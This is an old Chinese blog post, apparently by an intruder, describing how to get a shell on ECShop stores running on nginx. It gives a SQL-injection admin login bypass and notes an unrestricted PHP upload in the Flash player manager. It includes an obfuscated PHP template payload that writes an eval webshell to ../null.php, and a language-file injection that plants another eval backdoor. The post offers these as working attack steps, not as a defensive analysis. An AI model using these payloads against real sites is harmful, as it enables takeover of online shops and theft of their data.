linux系统ecshop拿shell方法

Title:linux系统ecshop拿shell方法  --2011-06-08 13:23

最近弄一个站,对ECSHOP拿shell不了解,导致走了很多的弯路。

nginx/0.8.54的服务器,magic_quotes_gpc开启转义,很多的页面被删除了。

后台有or漏洞,用户"' or 1=1 #"密码随便填.

开始我也不知道,了解得少。

网站的myship.php访问无果,但是库项目管理模版可以编辑,找不到文件路径未果,因为用的是nginx/0.8.54,解析漏洞被修补。

很多拿shell的方法不能用,比如备份x.php.spl,FCK创建X.asp类文件夹。

开始在后台转了很久,一直没有点Flash 播放器管理 上次PHP试试,后面没有想到可以上传PHP的文件,没有限制。

linux系统ecshop拿shell方法 

后面再上网找了下其他的方法。

后台-订单管理-订单打印-选择源代码编辑-保存
返回订单列表,随意选择一个订单打印,返回OK,生成一句话成功!
以下是编辑的代码:

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

<?
$filen=chr(46).chr(46).chr(47).chr(110).chr(117).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112);
$filec=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(117).chr(115).chr(98).chr(93).chr(41).chr(59).chr(63).chr(62);
$a=chr(119);
$fp=@fopen($filen,$a);
$msg=@fwrite($fp,$filec);
if($msg) echo chr(79).chr(75).chr(33);
@fclose($fp);
?>

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

../null.php

<?php eval($_post[usb]);?>

这个是路径和密码。

我还有个想法就是'单引号没有被转义的时候,管理中心- 语言项编辑 编辑其中的PHP页面,闭合单引号.

shopping_flow.php 编辑

输入语言项关键字:  活动列表

活动列表';?><?php @eval($_POST[ok]);?><?'ok

保存

然后访问

http://site/languages/zh_cn/shopping_flow.php

因为试的时候'被转义不能闭合活动列表后面的单引号,所以没成功。

谁有其他方法,可以一起讨论下。

你可能感兴趣的:(ecshop)